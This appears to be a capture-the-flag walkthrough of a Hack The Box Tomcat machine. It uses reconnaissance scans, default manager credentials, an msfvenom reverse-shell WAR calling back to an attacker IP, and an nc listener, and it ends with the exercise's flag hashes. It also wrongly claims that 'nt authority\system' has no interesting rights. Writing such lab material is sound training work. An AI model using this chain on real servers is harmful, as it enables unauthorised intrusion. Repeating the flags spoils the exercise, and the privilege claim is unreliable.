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reconnaissance

First: Ping

┌──(0ffSecVault㉿kali)-[~]
└─$ping 10.10.10.95

nmap usage

┌──(0ffSecVault㉿kali)-[~]
└─$ nmap -sC -sV -p- -oN /home/hackthebox/boxes/jerry.95/nmap.txt 10.10.10.95

-sC = default scripts
-sV = versioning
-p- = all ports
-oN = save output

https://offsecvault.github.io/


ports discovered

8080/tcp

Port 8080 is a normal port used by HTTP service. Let’s list the site directory.

webpage

dirb usage

┌──(0ffSecVault㉿kali)-[~]
└─$ dirb http://10.10.10.95:8080

http://10.10.10.95:8080/


exist several word-lists that can be used against any site for testing, it will depends but running the
command like the previous example will run as “default”
= common.txt

now check the response code, exist 4 CODE:302 = redirection

check it out !

http://10.10.10.95:8080/manager

it shows a login page so, try it using the default passwords of tomcat,

http://10.10.10.95:8080/manager


user: tomcat
pass: s3cret

we got access to the tomcat manager application menu,

there exist a section that you can upload files .war, let’s check it,

so, here you can try lots of things… let’s start with a reverse shell, for that you can use msfvenom

msfvenom | weaponization

┌──(0ffSecVault㉿kali)-[~]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.17 LPORT=4444 -f war > exploit.war

-p = payload
-f = format

it will create the following file, “exploit.war”



after the reverse shell is created, let’s try to upload the file using the “war file to deploy” section,

upload | delivery

now, it is time to create the listener so when the exploit.war file is executed it can create a reverse shell
session with the attacker host, for this you can use “netcat”

nc -lnvp PORT

-l = listen mode, for inbound connects
-n = numeric-only IP addresses, no DNS
-v = verbose [use twice to be more verbose] -vv
-p = local port number

┌──(0ffSecVault㉿kali)-[~]
└─$ nc -lnvp 4444

execution | exploitation

get back to the webpage and click deploy !

if everything was completed successfully you will see the name “exploit” as a service,



it is highlighted on green ! “exploit”

so… the exploit is on the target, now it is time to run it, let’s go to the browser and go to the exploit url,
type it or click it,

http://10.10.10.95:8080/exploit

you will see a blank page on browser and in your terminal you will get connection to the host,

collection | action on objectives

First: check current user

┌──(0ffSecVault㉿kali)-[~]
└─$ whoami

http://10.10.10.95:8080/exploit


so, now we are “nt authority\system”, with that user we do not have interesting rights, but we are able to
browse between folders to see if something gets our attention,

let’s check directory content,

you are on apache-tomcat folder, so let’s try to find the “Administrator” user folder to check the content,



looks like on Desktop you will find a folder named “flags”, let’s check the content,



you found a .txt file named, “2 for the price of 1.txt”, let’s check the content,

C:\Users\Administrator\Desktop\flags> type “2 for the price of 1.txt”

type = it will show the content. same as “cat” on linux OS

C:\Users\Administrator\Desktop\flags> type “2 for the price of 1.txt”
user.txt
7004dbcef0f854e0fb401875f26ebd00

root.txt
04a8b36e1545a455393d067e772fe90e

DONE !


